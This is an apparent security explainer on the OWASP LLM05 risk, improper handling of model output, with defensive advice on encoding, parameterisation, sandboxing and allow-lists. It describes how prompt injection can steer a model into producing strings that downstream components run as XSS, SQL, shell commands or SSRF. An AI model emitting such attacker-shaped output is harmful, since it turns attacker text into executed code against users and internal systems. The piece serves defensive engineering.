Improper Output Handling: When Model Output Becomes an Exploit

Every developer learns not to trust user input. LLM05 asks a harder question: do you trust the model's output? Because the moment a language model's response is passed to a browser, a shell, a database, or another service without validation, you have reintroduced the entire injection catalogue — XSS, SSRF, SQL injection, command injection, path traversal — with the model itself as the untrusted source.

Improper output handling is the mirror image of prompt injection. LLM01 is about what goes into the model; LLM05 is about what comes out and where it goes next. The two chain together with grim efficiency: an attacker injects a prompt that steers the model into producing a malicious string, and a downstream component that trusts model output does the rest. The model becomes a laundering step that turns attacker text into executed code.

The same bugs, a new source

If model output is rendered into a web page without encoding, an attacker who can shape that output has cross-site scripting. If it is concatenated into a SQL statement, they have SQL injection. If it becomes the argument to a shell command or an eval, they have remote code execution. If the model can be steered to emit a URL that a backend then fetches, they have server-side request forgery into your internal network. None of these are new vulnerability classes — they are the oldest in the book, re-entering through a component nobody thought to distrust.

The consuming system is responsible

The fix does not live inside the model. It lives at every boundary the output crosses, and the rule is simple: treat model output exactly as you would treat raw user input at that boundary. That means the well-worn, context-specific defences that already exist for injection — applied to a source most teams forgot to include.

• Encode for the destination context. HTML-encode before rendering, use a strict Content-Security-Policy, and never write model output to the DOM via innerHTML or an equivalent sink.
• Parameterise, never concatenate. If model output influences a database query, it goes through parameterised queries or an ORM — as a value, never as SQL.
• Never route output to a shell or evaluator. Don't pass model text to eval, exec, or a command interpreter; if the design needs code execution, it belongs in a locked-down sandbox.
• Validate and allow-list actions. Where output triggers downstream calls, constrain it to an explicit schema and an allow-list of permitted values, hosts, and endpoints — don't let a free-form string decide.
• Apply zero trust between model and backend. Give the component consuming model output the least privilege it needs, so a bad string can't reach systems it never should have touched.

LLM05 is a discipline every security team already has — output encoding and input validation — pointed at a source they haven't been treating as hostile. The model is not your user's advocate and it is not a trusted service; it is a text generator whose output can be shaped by whoever talks to it. Map every place that output flows, and you'll find the boundaries that still assume it is safe.